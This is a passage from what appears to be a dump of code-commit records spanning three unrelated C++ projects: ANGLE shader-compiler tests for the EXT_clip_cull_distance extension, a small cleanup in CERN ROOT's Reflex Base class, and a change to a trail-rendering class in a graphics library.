; i < 3 ; i++)\n        {\n            color[i] = gl_CullDistance[i];\n        }\n        fragColor = vec4(color[0], color[1], color[2], 1.0f);\n    })\";\n\nclass EXTClipCullDistanceTest : public sh::ShaderExtensionTest\n{\n  public:\n    void InitializeCompiler(ShShaderOutput shaderOutputType, GLenum shaderType)\n    {\n        DestroyCompiler();\n\n        mCompiler = sh::ConstructCompiler(shaderType, testing::get<0>(GetParam()), shaderOutputType,\n                                          &mResources);\n        ASSERT_TRUE(mCompiler != nullptr) << \"Compiler could not be constructed.\";\n    }\n\n    testing::AssertionResult TestShaderCompile(const char *pragma)\n    {\n        const char *shaderStrings[] = {testing::get<1>(GetParam()), pragma,\n                                       testing::get<2>(GetParam())};\n        bool success = sh::Compile(mCompiler, shaderStrings, 3, SH_VARIABLES | SH_OBJECT_CODE);\n        if (success)\n        {\n            return ::testing::AssertionSuccess() << \"Compilation success\";\n        }\n        return ::testing::AssertionFailure() << sh::GetInfoLog(mCompiler);\n    }\n\n    void SetExtensionEnable(bool enable)\n    {\n        \/\/ GL_APPLE_clip_distance is implicitly enabled when GL_EXT_clip_cull_distance is enabled\n#if defined(ANGLE_ENABLE_VULKAN)\n        mResources.APPLE_clip_distance = enable;\n#endif\n        mResources.EXT_clip_cull_distance = enable;\n    }\n};\n\nclass EXTClipCullDistanceForVertexShaderTest : public EXTClipCullDistanceTest\n{\n  public:\n    void InitializeCompiler() { InitializeCompiler(SH_GLSL_450_CORE_OUTPUT); }\n    void InitializeCompiler(ShShaderOutput shaderOutputType)\n    {\n        EXTClipCullDistanceTest::InitializeCompiler(shaderOutputType, GL_VERTEX_SHADER);\n    }\n};\n\nclass EXTClipCullDistanceForFragmentShaderTest : public EXTClipCullDistanceTest\n{\n  public:\n    void InitializeCompiler() { InitializeCompiler(SH_GLSL_450_CORE_OUTPUT); }\n    void InitializeCompiler(ShShaderOutput shaderOutputType)\n    {\n        EXTClipCullDistanceTest::InitializeCompiler(shaderOutputType, GL_FRAGMENT_SHADER);\n    }\n};\n\n\/\/ Extension flag is required to compile properly. Expect failure when it is\n\/\/ not present.\nTEST_P(EXTClipCullDistanceForVertexShaderTest, CompileFailsWithoutExtension)\n{\n    SetExtensionEnable(false);\n    InitializeCompiler();\n    EXPECT_FALSE(TestShaderCompile(EXTPragma));\n}\n\n\/\/ Extension directive is required to compile properly. Expect failure when\n\/\/ it is not present.\nTEST_P(EXTClipCullDistanceForVertexShaderTest, CompileFailsWithExtensionWithoutPragma)\n{\n    SetExtensionEnable(true);\n    InitializeCompiler();\n    EXPECT_FALSE(TestShaderCompile(\"\"));\n}\n\n#if defined(ANGLE_ENABLE_VULKAN)\n\/\/ With extension flag and extension directive, compiling using TranslatorVulkan succeeds.\nTEST_P(EXTClipCullDistanceForVertexShaderTest, CompileSucceedsVulkan)\n{\n    SetExtensionEnable(true);\n\n    mResources.MaxClipDistances                = 8;\n    mResources.MaxCullDistances                = 8;\n    mResources.MaxCombinedClipAndCullDistances = 8;\n\n    InitializeCompiler(SH_GLSL_VULKAN_OUTPUT);\n    EXPECT_TRUE(TestShaderCompile(EXTPragma));\n    EXPECT_FALSE(TestShaderCompile(\"\"));\n    EXPECT_TRUE(TestShaderCompile(EXTPragma));\n}\n#endif\n\n\/\/ Extension flag is required to compile properly. Expect failure when it is\n\/\/ not present.\nTEST_P(EXTClipCullDistanceForFragmentShaderTest, CompileFailsWithoutExtension)\n{\n    SetExtensionEnable(false);\n    InitializeCompiler();\n    EXPECT_FALSE(TestShaderCompile(EXTPragma));\n}\n\n\/\/ Extension directive is required to compile properly. Expect failure when\n\/\/ it is not present.\nTEST_P(EXTClipCullDistanceForFragmentShaderTest, CompileFailsWithExtensionWithoutPragma)\n{\n    SetExtensionEnable(true);\n    InitializeCompiler();\n    EXPECT_FALSE(TestShaderCompile(\"\"));\n}\n\n#if defined(ANGLE_ENABLE_VULKAN)\n\/\/ With extension flag and extension directive, compiling using TranslatorVulkan succeeds.\nTEST_P(EXTClipCullDistanceForFragmentShaderTest, CompileSucceedsVulkan)\n{\n    SetExtensionEnable(true);\n\n    mResources.MaxClipDistances                = 8;\n    mResources.MaxCullDistances                = 8;\n    mResources.MaxCombinedClipAndCullDistances = 8;\n\n    InitializeCompiler(SH_GLSL_VULKAN_OUTPUT);\n    EXPECT_TRUE(TestShaderCompile(EXTPragma));\n    EXPECT_FALSE(TestShaderCompile(\"\"));\n    EXPECT_TRUE(TestShaderCompile(EXTPragma));\n}\n#endif\n\nclass EXTClipCullDistanceForVertexShaderCompileFailureTest\n    : public EXTClipCullDistanceForVertexShaderTest\n{};\n\nclass EXTClipCullDistanceForFragmentShaderCompileFailureTest\n    : public EXTClipCullDistanceForFragmentShaderTest\n{};\n\n#if defined(ANGLE_ENABLE_VULKAN)\nTEST_P(EXTClipCullDistanceForVertexShaderCompileFailureTest, CompileFails)\n{\n    SetExtensionEnable(true);\n\n    mResources.MaxClipDistances                = 8;\n    mResources.MaxCullDistances                = 8;\n    mResources.MaxCombinedClipAndCullDistances = 8;\n\n    InitializeCompiler(SH_GLSL_VULKAN_OUTPUT);\n    EXPECT_FALSE(TestShaderCompile(EXTPragma));\n}\n\nTEST_P(EXTClipCullDistanceForFragmentShaderCompileFailureTest, CompileFails)\n{\n    SetExtensionEnable(true);\n\n    mResources.MaxClipDistances                = 8;\n    mResources.MaxCullDistances                = 8;\n    mResources.MaxCombinedClipAndCullDistances = 8;\n\n    InitializeCompiler(SH_GLSL_VULKAN_OUTPUT);\n    EXPECT_FALSE(TestShaderCompile(EXTPragma));\n}\n#endif\n\nINSTANTIATE_TEST_SUITE_P(IncorrectESSL100Shaders,\n                         EXTClipCullDistanceForVertexShaderCompileFailureTest,\n                         Combine(Values(SH_GLES2_SPEC),\n                                 Values(sh::ESSLVersion100),\n                                 Values(VertexShaderCompileFails5, VertexShaderCompileFailes6)));\n\nINSTANTIATE_TEST_SUITE_P(CorrectESSL300Shaders,\n                         EXTClipCullDistanceForVertexShaderTest,\n                         Combine(Values(SH_GLES3_SPEC),\n                                 Values(sh::ESSLVersion300),\n                                 Values(VertexShaderCompileSucceeds1,\n                                        VertexShaderCompileSucceeds2)));\n\nINSTANTIATE_TEST_SUITE_P(IncorrectESSL300Shaders,\n                         EXTClipCullDistanceForVertexShaderCompileFailureTest,\n                         Combine(Values(SH_GLES3_SPEC),\n                                 Values(sh::ESSLVersion300),\n                                 Values(VertexShaderCompileFails1,\n                                        VertexShaderCompileFails2,\n                                        VertexShaderCompileFails3,\n                                        VertexShaderCompileFails4)));\n\nINSTANTIATE_TEST_SUITE_P(CorrectESSL300Shaders,\n                         EXTClipCullDistanceForFragmentShaderTest,\n                         Combine(Values(SH_GLES3_SPEC),\n                                 Values(sh::ESSLVersion300),\n                                 Values(FragmentShaderCompileSucceeds1,\n                                        FragmentShaderCompileSucceeds2)));\n\nINSTANTIATE_TEST_SUITE_P(IncorrectESSL300Shaders,\n                         EXTClipCullDistanceForFragmentShaderCompileFailureTest,\n                         Combine(Values(SH_GLES3_SPEC),\n                                 Values(sh::ESSLVersion300),\n                                 Values(FragmentShaderCompileFails1,\n                                        FragmentShaderCompileFails2,\n                                        FragmentShaderCompileFails3,\n                                        FragmentShaderCompileFails4,\n                                        FragmentShaderCompileFails5)));\n\n}  \/\/ anonymous namespace\n<commit_msg>Only define test suites when TEST_Ps defined<commit_after>\/\/\n\/\/ Copyright 2020 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ EXT_clip_cull_distance_test.cpp:\n\/\/   Test for EXT_clip_cull_distance\n\/\/\n\n#include \"tests\/test_utils\/ShaderExtensionTest.h\"\n\nnamespace\n{\nconst char EXTPragma[] = \"#extension GL_EXT_clip_cull_distance : require\\n\";\n\n\/\/ Shader using gl_ClipDistance and gl_CullDistance\nconst char VertexShaderCompileSucceeds1[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    in vec4 aPosition;\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_ClipDistance[1] = dot(aPosition, uPlane);\n        gl_CullDistance[1] = dot(aPosition, uPlane);\n    })\";\n\n\/\/ Shader redeclares gl_ClipDistance and gl_CullDistance\nconst char VertexShaderCompileSucceeds2[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    in vec4 aPosition;\n\n    out highp float gl_ClipDistance[4];\n    out highp float gl_CullDistance[4];\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_ClipDistance[gl_MaxClipDistances - 6 + 1] = dot(aPosition, uPlane);\n        gl_ClipDistance[gl_MaxClipDistances - int(aPosition.x)] = dot(aPosition, uPlane);\n        gl_CullDistance[gl_MaxCullDistances - 6 + 1] = dot(aPosition, uPlane);\n        gl_CullDistance[gl_MaxCullDistances - int(aPosition.x)] = dot(aPosition, uPlane);\n    })\";\n\n#if defined(ANGLE_ENABLE_VULKAN)\n\/\/ Shader using gl_ClipDistance and gl_CullDistance\n\/\/ But, the sum of the sizes is greater than gl_MaxCombinedClipAndCullDistances\nconst char VertexShaderCompileFails1[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    in vec4 aPosition;\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_ClipDistance[5] = dot(aPosition, uPlane);\n        gl_CullDistance[4] = dot(aPosition, uPlane);\n    })\";\n\n\/\/ Shader redeclares gl_ClipDistance and gl_CullDistance\n\/\/ But, the sum of the sizes is greater than gl_MaxCombinedClipAndCullDistances\nconst char VertexShaderCompileFails2[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    in vec4 aPosition;\n\n    out highp float gl_ClipDistance[5];\n    out highp float gl_CullDistance[4];\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_ClipDistance[gl_MaxClipDistances - 6 + 1] = dot(aPosition, uPlane);\n        gl_ClipDistance[gl_MaxClipDistances - int(aPosition.x)] = dot(aPosition, uPlane);\n        gl_CullDistance[gl_MaxCullDistances - 6 + 1] = dot(aPosition, uPlane);\n        gl_CullDistance[gl_MaxCullDistances - int(aPosition.x)] = dot(aPosition, uPlane);\n    })\";\n\n\/\/ Shader redeclares gl_ClipDistance\n\/\/ But, the array size is greater than gl_MaxClipDistances\nconst char VertexShaderCompileFails3[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    in vec4 aPosition;\n\n    out highp float gl_ClipDistance[gl_MaxClipDistances + 1];\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_ClipDistance[gl_MaxClipDistances - 6 + 1] = dot(aPosition, uPlane);\n        gl_ClipDistance[gl_MaxClipDistances - int(aPosition.x)] = dot(aPosition, uPlane);\n    })\";\n\n\/\/ Access gl_CullDistance with integral constant index\n\/\/ But, the index is greater than gl_MaxCullDistances\nconst char VertexShaderCompileFails4[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    in vec4 aPosition;\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_CullDistance[gl_MaxCullDistances] = dot(aPosition, uPlane);\n    })\";\n\nconst char VertexShaderCompileFails5[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    attribute vec4 aPosition;\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_CullDistance[0] = 0.0;\n    })\";\n\nconst char VertexShaderCompileFailes6[] =\n    R\"(\n    uniform vec4 uPlane;\n\n    attribute vec4 aPosition;\n\n    varying float gl_ClipDistance[1];\n\n    void main()\n    {\n        gl_Position = aPosition;\n        gl_ClipDistance[0] = 0.0;\n    })\";\n#endif\n\n\/\/ Shader using gl_ClipDistance and gl_CullDistance\nconst char FragmentShaderCompileSucceeds1[] =\n    R\"(\n    out highp vec4 fragColor;\n\n    void main()\n    {\n        fragColor = vec4(gl_ClipDistance[0], gl_CullDistance[0], 0, 1);\n    })\";\n\n\/\/ Shader redeclares gl_ClipDistance and gl_CullDistance\nconst char FragmentShaderCompileSucceeds2[] =\n    R\"(\n    in highp float gl_ClipDistance[4];\n    in highp float gl_CullDistance[4];\n\n    in highp vec4 aPosition;\n\n    out highp vec4 fragColor;\n\n    void main()\n    {\n        fragColor.x = gl_ClipDistance[gl_MaxClipDistances - 6 + 1];\n        fragColor.y = gl_ClipDistance[gl_MaxClipDistances - int(aPosition.x)];\n        fragColor.z = gl_CullDistance[gl_MaxCullDistances - 6 + 1];\n        fragColor.w = gl_CullDistance[gl_MaxCullDistances - int(aPosition.x)];\n    })\";\n\n#if defined(ANGLE_ENABLE_VULKAN)\n\/\/ Shader using gl_ClipDistance and gl_CullDistance\n\/\/ But, the sum of the sizes is greater than gl_MaxCombinedClipAndCullDistances\nconst char FragmentShaderCompileFails1[] =\n    R\"(\n    out highp vec4 fragColor;\n\n    void main()\n    {\n        fragColor = vec4(gl_ClipDistance[4], gl_CullDistance[5], 0, 1);\n    })\";\n\n\/\/ Shader redeclares gl_ClipDistance and gl_CullDistance\n\/\/ But, the sum of the sizes is greater than gl_MaxCombinedClipAndCullDistances\nconst char FragmentShaderCompileFails2[] =\n    R\"(\n    in highp float gl_ClipDistance[5];\n    in highp float gl_CullDistance[4];\n\n    in highp vec4 aPosition;\n\n    out highp vec4 fragColor;\n\n    void main()\n    {\n        fragColor.x = gl_ClipDistance[gl_MaxClipDistances - 6 + 1];\n        fragColor.y = gl_ClipDistance[gl_MaxClipDistances - int(aPosition.x)];\n        fragColor.z = gl_CullDistance[gl_MaxCullDistances - 6 + 1];\n        fragColor.w = gl_CullDistance[gl_MaxCullDistances - int(aPosition.x)];\n    })\";\n\n\/\/ In fragment shader, writing to gl_ClipDistance should be denied.\nconst char FragmentShaderCompileFails3[] =\n    R\"(\n    out highp vec4 fragColor;\n\n    void main()\n    {\n        gl_ClipDistance[0] = 0.0f;\n        fragColor = vec4(1, gl_ClipDistance[0], 0, 1);\n    })\";\n\n\/\/ In fragment shader, writing to gl_CullDistance should be denied even if redeclaring it with the\n\/\/ array size\nconst char FragmentShaderCompileFails4[] =\n    R\"(\n    out highp vec4 fragColor;\n\n    in highp float gl_CullDistance[1];\n\n    void main()\n    {\n        gl_CullDistance[0] = 0.0f;\n        fragColor = vec4(1, gl_CullDistance[0], 0, 1);\n    })\";\n\n\/\/ Accessing to gl_Clip\/CullDistance with non-const index should be denied if the size of\n\/\/ gl_Clip\/CullDistance is not decided.\nconst char FragmentShaderCompileFails5[] =\n    R\"(\n    out highp vec4 fragColor;\n\n    void main()\n    {\n        medium float color[3];\n        for(int i = 0 ; i < 3 ; i++)\n        {\n            color[i] = gl_CullDistance[i];\n        }\n        fragColor = vec4(color[0], color[1], color[2], 1.0f);\n    })\";\n#endif\n\nclass EXTClipCullDistanceTest : public sh::ShaderExtensionTest\n{\n  public:\n    void InitializeCompiler(ShShaderOutput shaderOutputType, GLenum shaderType)\n    {\n        DestroyCompiler();\n\n        mCompiler = sh::ConstructCompiler(shaderType, testing::get<0>(GetParam()), shaderOutputType,\n                                          &mResources);\n        ASSERT_TRUE(mCompiler != nullptr) << \"Compiler could not be constructed.\";\n    }\n\n    testing::AssertionResult TestShaderCompile(const char *pragma)\n    {\n        const char *shaderStrings[] = {testing::get<1>(GetParam()), pragma,\n                                       testing::get<2>(GetParam())};\n        bool success = sh::Compile(mCompiler, shaderStrings, 3, SH_VARIABLES | SH_OBJECT_CODE);\n        if (success)\n        {\n            return ::testing::AssertionSuccess() << \"Compilation success\";\n        }\n        return ::testing::AssertionFailure() << sh::GetInfoLog(mCompiler);\n    }\n\n    void SetExtensionEnable(bool enable)\n    {\n        \/\/ GL_APPLE_clip_distance is implicitly enabled when GL_EXT_clip_cull_distance is enabled\n#if defined(ANGLE_ENABLE_VULKAN)\n        mResources.APPLE_clip_distance = enable;\n#endif\n        mResources.EXT_clip_cull_distance = enable;\n    }\n};\n\nclass EXTClipCullDistanceForVertexShaderTest : public EXTClipCullDistanceTest\n{\n  public:\n    void InitializeCompiler() { InitializeCompiler(SH_GLSL_450_CORE_OUTPUT); }\n    void InitializeCompiler(ShShaderOutput shaderOutputType)\n    {\n        EXTClipCullDistanceTest::InitializeCompiler(shaderOutputType, GL_VERTEX_SHADER);\n    }\n};\n\nclass EXTClipCullDistanceForFragmentShaderTest : public EXTClipCullDistanceTest\n{\n  public:\n    void InitializeCompiler() { InitializeCompiler(SH_GLSL_450_CORE_OUTPUT); }\n    void InitializeCompiler(ShShaderOutput shaderOutputType)\n    {\n        EXTClipCullDistanceTest::InitializeCompiler(shaderOutputType, GL_FRAGMENT_SHADER);\n    }\n};\n\n\/\/ Extension flag is required to compile properly. Expect failure when it is\n\/\/ not present.\nTEST_P(EXTClipCullDistanceForVertexShaderTest, CompileFailsWithoutExtension)\n{\n    SetExtensionEnable(false);\n    InitializeCompiler();\n    EXPECT_FALSE(TestShaderCompile(EXTPragma));\n}\n\n\/\/ Extension directive is required to compile properly. Expect failure when\n\/\/ it is not present.\nTEST_P(EXTClipCullDistanceForVertexShaderTest, CompileFailsWithExtensionWithoutPragma)\n{\n    SetExtensionEnable(true);\n    InitializeCompiler();\n    EXPECT_FALSE(TestShaderCompile(\"\"));\n}\n\n#if defined(ANGLE_ENABLE_VULKAN)\n\/\/ With extension flag and extension directive, compiling using TranslatorVulkan succeeds.\nTEST_P(EXTClipCullDistanceForVertexShaderTest, CompileSucceedsVulkan)\n{\n    SetExtensionEnable(true);\n\n    mResources.MaxClipDistances                = 8;\n    mResources.MaxCullDistances                = 8;\n    mResources.MaxCombinedClipAndCullDistances = 8;\n\n    InitializeCompiler(SH_GLSL_VULKAN_OUTPUT);\n    EXPECT_TRUE(TestShaderCompile(EXTPragma));\n    EXPECT_FALSE(TestShaderCompile(\"\"));\n    EXPECT_TRUE(TestShaderCompile(EXTPragma));\n}\n#endif\n\n\/\/ Extension flag is required to compile properly. Expect failure when it is\n\/\/ not present.\nTEST_P(EXTClipCullDistanceForFragmentShaderTest, CompileFailsWithoutExtension)\n{\n    SetExtensionEnable(false);\n    InitializeCompiler();\n    EXPECT_FALSE(TestShaderCompile(EXTPragma));\n}\n\n\/\/ Extension directive is required to compile properly. Expect failure when\n\/\/ it is not present.\nTEST_P(EXTClipCullDistanceForFragmentShaderTest, CompileFailsWithExtensionWithoutPragma)\n{\n    SetExtensionEnable(true);\n    InitializeCompiler();\n    EXPECT_FALSE(TestShaderCompile(\"\"));\n}\n\n#if defined(ANGLE_ENABLE_VULKAN)\n\/\/ With extension flag and extension directive, compiling using TranslatorVulkan succeeds.\nTEST_P(EXTClipCullDistanceForFragmentShaderTest, CompileSucceedsVulkan)\n{\n    SetExtensionEnable(true);\n\n    mResources.MaxClipDistances                = 8;\n    mResources.MaxCullDistances                = 8;\n    mResources.MaxCombinedClipAndCullDistances = 8;\n\n    InitializeCompiler(SH_GLSL_VULKAN_OUTPUT);\n    EXPECT_TRUE(TestShaderCompile(EXTPragma));\n    EXPECT_FALSE(TestShaderCompile(\"\"));\n    EXPECT_TRUE(TestShaderCompile(EXTPragma));\n}\n\nclass EXTClipCullDistanceForVertexShaderCompileFailureTest\n    : public EXTClipCullDistanceForVertexShaderTest\n{};\n\nclass EXTClipCullDistanceForFragmentShaderCompileFailureTest\n    : public EXTClipCullDistanceForFragmentShaderTest\n{};\n\nTEST_P(EXTClipCullDistanceForVertexShaderCompileFailureTest, CompileFails)\n{\n    SetExtensionEnable(true);\n\n    mResources.MaxClipDistances                = 8;\n    mResources.MaxCullDistances                = 8;\n    mResources.MaxCombinedClipAndCullDistances = 8;\n\n    InitializeCompiler(SH_GLSL_VULKAN_OUTPUT);\n    EXPECT_FALSE(TestShaderCompile(EXTPragma));\n}\n\nTEST_P(EXTClipCullDistanceForFragmentShaderCompileFailureTest, CompileFails)\n{\n    SetExtensionEnable(true);\n\n    mResources.MaxClipDistances                = 8;\n    mResources.MaxCullDistances                = 8;\n    mResources.MaxCombinedClipAndCullDistances = 8;\n\n    InitializeCompiler(SH_GLSL_VULKAN_OUTPUT);\n    EXPECT_FALSE(TestShaderCompile(EXTPragma));\n}\n#endif\n\nINSTANTIATE_TEST_SUITE_P(CorrectESSL300Shaders,\n                         EXTClipCullDistanceForVertexShaderTest,\n                         Combine(Values(SH_GLES3_SPEC),\n                                 Values(sh::ESSLVersion300),\n                                 Values(VertexShaderCompileSucceeds1,\n                                        VertexShaderCompileSucceeds2)));\n\nINSTANTIATE_TEST_SUITE_P(CorrectESSL300Shaders,\n                         EXTClipCullDistanceForFragmentShaderTest,\n                         Combine(Values(SH_GLES3_SPEC),\n                                 Values(sh::ESSLVersion300),\n                                 Values(FragmentShaderCompileSucceeds1,\n                                        FragmentShaderCompileSucceeds2)));\n\n\/\/ The corresponding TEST_Ps are defined only when ANGLE_ENABLE_VULKAN is\n\/\/ defined.\n#if defined(ANGLE_ENABLE_VULKAN)\nINSTANTIATE_TEST_SUITE_P(IncorrectESSL100Shaders,\n                         EXTClipCullDistanceForVertexShaderCompileFailureTest,\n                         Combine(Values(SH_GLES2_SPEC),\n                                 Values(sh::ESSLVersion100),\n                                 Values(VertexShaderCompileFails5, VertexShaderCompileFailes6)));\n\nINSTANTIATE_TEST_SUITE_P(IncorrectESSL300Shaders,\n                         EXTClipCullDistanceForVertexShaderCompileFailureTest,\n                         Combine(Values(SH_GLES3_SPEC),\n                                 Values(sh::ESSLVersion300),\n                                 Values(VertexShaderCompileFails1,\n                                        VertexShaderCompileFails2,\n                                        VertexShaderCompileFails3,\n                                        VertexShaderCompileFails4)));\n\nINSTANTIATE_TEST_SUITE_P(IncorrectESSL300Shaders,\n                         EXTClipCullDistanceForFragmentShaderCompileFailureTest,\n                         Combine(Values(SH_GLES3_SPEC),\n                                 Values(sh::ESSLVersion300),\n                                 Values(FragmentShaderCompileFails1,\n                                        FragmentShaderCompileFails2,\n                                        FragmentShaderCompileFails3,\n                                        FragmentShaderCompileFails4,\n                                        FragmentShaderCompileFails5)));\n#endif\n\n}  \/\/ anonymous namespace\n<|endoftext|>"}
{"text":"<commit_before>\/\/ @(#)root\/reflex:$Id$\n\/\/ Author: Stefan Roiser 2004\n\n\/\/ Copyright CERN, CH-1211 Geneva 23, 2004-2006, All rights reserved.\n\/\/\n\/\/ Permission to use, copy, modify, and distribute this software for any\n\/\/ purpose is hereby granted without fee, provided that this copyright and\n\/\/ permissions notice appear in all copies and derivatives.\n\/\/\n\/\/ This software is provided \"as is\" without express or implied warranty.\n\n#ifndef REFLEX_BUILD\n#define REFLEX_BUILD\n#endif\n\n#include \"Reflex\/Base.h\"\n#include \"Class.h\"\n\n\/\/-------------------------------------------------------------------------------\nReflex::Base::Base( const Type &    baseType,\n                          OffsetFunction  offsetfp,\n                          unsigned int    modifiers )\n   : fOffsetFP( offsetfp ),\n     fModifiers( modifiers ),\n     fBaseType( Type() ),\n     fBaseClass( 0 ) {\n\/\/-------------------------------------------------------------------------------\n\/\/ Construct the information for a base. The pointer to the base class (type Class)\n\/\/ is set to 0 initially and set on first access.\n   fBaseType = baseType;\n}\n\n\n\/\/-------------------------------------------------------------------------------\nconst Reflex::Class * Reflex::Base::BaseClass() const {\n\/\/-------------------------------------------------------------------------------\n\/\/ Return the pointer to the base class. Set on first access.\n   if ( fBaseClass ) return fBaseClass;\n   if ( fBaseType ) {\n      fBaseClass = dynamic_cast< const Class * >(fBaseType.ToTypeBase());\n      return fBaseClass;\n   }\n   return 0;\n}\n\n\n\/\/-------------------------------------------------------------------------------\nstd::string Reflex::Base::Name( unsigned int mod ) const {\n\/\/-------------------------------------------------------------------------------\n\/\/ Construct the name of the base. Qualify if requested.\n   std::string s = \"\";\n   if ( 0 != ( mod & ( QUALIFIED | Q ))) {\n      if ( IsPublic())    { s += \"public \"; }\n      if ( IsProtected()) { s += \"protected \"; }\n      if ( IsPrivate())   { s += \"private \"; }\n      if ( IsVirtual())   { s += \"virtual \"; }\n   }\n   s += fBaseType.Name( mod );\n   return s;\n}\n<commit_msg>remove unnecessary assignment of empty string<commit_after>\/\/ @(#)root\/reflex:$Id$\n\/\/ Author: Stefan Roiser 2004\n\n\/\/ Copyright CERN, CH-1211 Geneva 23, 2004-2006, All rights reserved.\n\/\/\n\/\/ Permission to use, copy, modify, and distribute this software for any\n\/\/ purpose is hereby granted without fee, provided that this copyright and\n\/\/ permissions notice appear in all copies and derivatives.\n\/\/\n\/\/ This software is provided \"as is\" without express or implied warranty.\n\n#ifndef REFLEX_BUILD\n#define REFLEX_BUILD\n#endif\n\n#include \"Reflex\/Base.h\"\n#include \"Class.h\"\n\n\/\/-------------------------------------------------------------------------------\nReflex::Base::Base( const Type &    baseType,\n                          OffsetFunction  offsetfp,\n                          unsigned int    modifiers )\n   : fOffsetFP( offsetfp ),\n     fModifiers( modifiers ),\n     fBaseType( Type() ),\n     fBaseClass( 0 ) {\n\/\/-------------------------------------------------------------------------------\n\/\/ Construct the information for a base. The pointer to the base class (type Class)\n\/\/ is set to 0 initially and set on first access.\n   fBaseType = baseType;\n}\n\n\n\/\/-------------------------------------------------------------------------------\nconst Reflex::Class * Reflex::Base::BaseClass() const {\n\/\/-------------------------------------------------------------------------------\n\/\/ Return the pointer to the base class. Set on first access.\n   if ( fBaseClass ) return fBaseClass;\n   if ( fBaseType ) {\n      fBaseClass = dynamic_cast< const Class * >(fBaseType.ToTypeBase());\n      return fBaseClass;\n   }\n   return 0;\n}\n\n\n\/\/-------------------------------------------------------------------------------\nstd::string Reflex::Base::Name( unsigned int mod ) const {\n\/\/-------------------------------------------------------------------------------\n\/\/ Construct the name of the base. Qualify if requested.\n   std::string s;\n   if ( 0 != ( mod & ( QUALIFIED | Q ))) {\n      if ( IsPublic())    { s += \"public \"; }\n      if ( IsProtected()) { s += \"protected \"; }\n      if ( IsPrivate())   { s += \"private \"; }\n      if ( IsVirtual())   { s += \"virtual \"; }\n   }\n   s += fBaseType.Name( mod );\n   return s;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"VTrailArea.h\"\n#include \"VGlobal.h\"\n\nVTrailArea::VTrailArea(float x, float y, unsigned int width, unsigned int height, unsigned int maxSize) : VRenderGroup(x, y, width, height, maxSize)\n{\n\trenderTex.clear(sf::Color::Transparent);\n}\n\nVTrailArea::VTrailArea(sf::Vector2f position, sf::Vector2u size, unsigned int maxSize) : VRenderGroup(position, size, maxSize)\n{\n\trenderTex.clear(sf::Color::Transparent);\n}\n\nvoid VTrailArea::Draw(sf::RenderTarget& RenderTarget)\n{\n\tfloat time = fadeTimer.getElapsedTime().asSeconds();\n\tif (time > Delay)\n\t{\n\t\tsf::View renderTexView = renderTex.getView();\n\t\trenderTex.setView(renderTex.getDefaultView());\n\t\ttrailTexture = sf::Texture(renderTex.getTexture());\n\t\ttrailSprite.setTexture(trailTexture);\n\t\ttrailSprite.setPosition(lastPos.x - Sprite->Position.x, lastPos.y - Sprite->Position.y);\n\t\ttrailSprite.setColor(\n\t\t\tsf::Color(\n\t\t\t\t255 - sf::Uint8(255 * RedMultiplier   * time),\n\t\t\t\t255 - sf::Uint8(255 * GreenMultiplier * time),\n\t\t\t\t255 - sf::Uint8(255 * BlueMultiplier  * time),\n\t\t\t\t255 - sf::Uint8(255 * AlphaMultiplier * time)\n\t\t\t)\n\t\t);\n\t\trenderTex.clear(sf::Color::Transparent);\n\t\trenderTex.draw(trailSprite);\n\t\trenderTex.setView(renderTexView);\n\t\tVGroup::Draw(renderTex);\n\t\trenderTex.display();\n\t\tfadeTimer.restart();\n\n\t\tlastPos = Sprite->Position;\n\t}\n\n\tif (PostEffect != nullptr && VPostEffectBase::isSupported())\n\t{\n\t\tif (postProcessTex.getSize().x == 0 || postProcessTex.getSize().y == 0)\n\t\t{\n\t\t\tpostProcessTex.create(renderTex.getSize().x, renderTex.getSize().y);\n\t\t}\n\n\t\tpostProcessTex.clear(sf::Color::Transparent);\n\t\tPostEffect->Apply(renderTex.getTexture(), postProcessTex);\n\t\tpostProcessTex.display();\n\n\t\tupdateTexture(postProcessTex.getTexture());\n\t}\n\telse\n\t{\n\t\tupdateTexture(renderTex.getTexture());\n\t}\n\n\tSprite->RenderState.blendMode = sf::BlendAdd;\n\tSprite->Draw(RenderTarget);\n\n\tif (RenderOutside)\n\t\tVGroup::Draw(RenderTarget);\n}<commit_msg>Move update transform to draw<commit_after>#include \"VTrailArea.h\"\n#include \"VGlobal.h\"\n\nVTrailArea::VTrailArea(float x, float y, unsigned int width, unsigned int height, unsigned int maxSize) : VRenderGroup(x, y, width, height, maxSize)\n{\n\trenderTex.clear(sf::Color::Transparent);\n}\n\nVTrailArea::VTrailArea(sf::Vector2f position, sf::Vector2u size, unsigned int maxSize) : VRenderGroup(position, size, maxSize)\n{\n\trenderTex.clear(sf::Color::Transparent);\n}\n\nvoid VTrailArea::Draw(sf::RenderTarget& RenderTarget)\n{\n\tupdateTransform();\n\n\tfloat time = fadeTimer.getElapsedTime().asSeconds();\n\tif (time > Delay)\n\t{\n\t\tsf::View renderTexView = renderTex.getView();\n\t\trenderTex.setView(renderTex.getDefaultView());\n\t\ttrailTexture = sf::Texture(renderTex.getTexture());\n\t\ttrailSprite.setTexture(trailTexture);\n\t\ttrailSprite.setPosition(lastPos.x - Sprite->Position.x, lastPos.y - Sprite->Position.y);\n\t\ttrailSprite.setColor(\n\t\t\tsf::Color(\n\t\t\t\t255 - sf::Uint8(255 * RedMultiplier   * time),\n\t\t\t\t255 - sf::Uint8(255 * GreenMultiplier * time),\n\t\t\t\t255 - sf::Uint8(255 * BlueMultiplier  * time),\n\t\t\t\t255 - sf::Uint8(255 * AlphaMultiplier * time)\n\t\t\t)\n\t\t);\n\t\trenderTex.clear(sf::Color::Transparent);\n\t\trenderTex.draw(trailSprite);\n\t\trenderTex.setView(renderTexView);\n\t\tVGroup::Draw(renderTex);\n\t\trenderTex.display();\n\t\tfadeTimer.restart();\n\n\t\tlastPos = 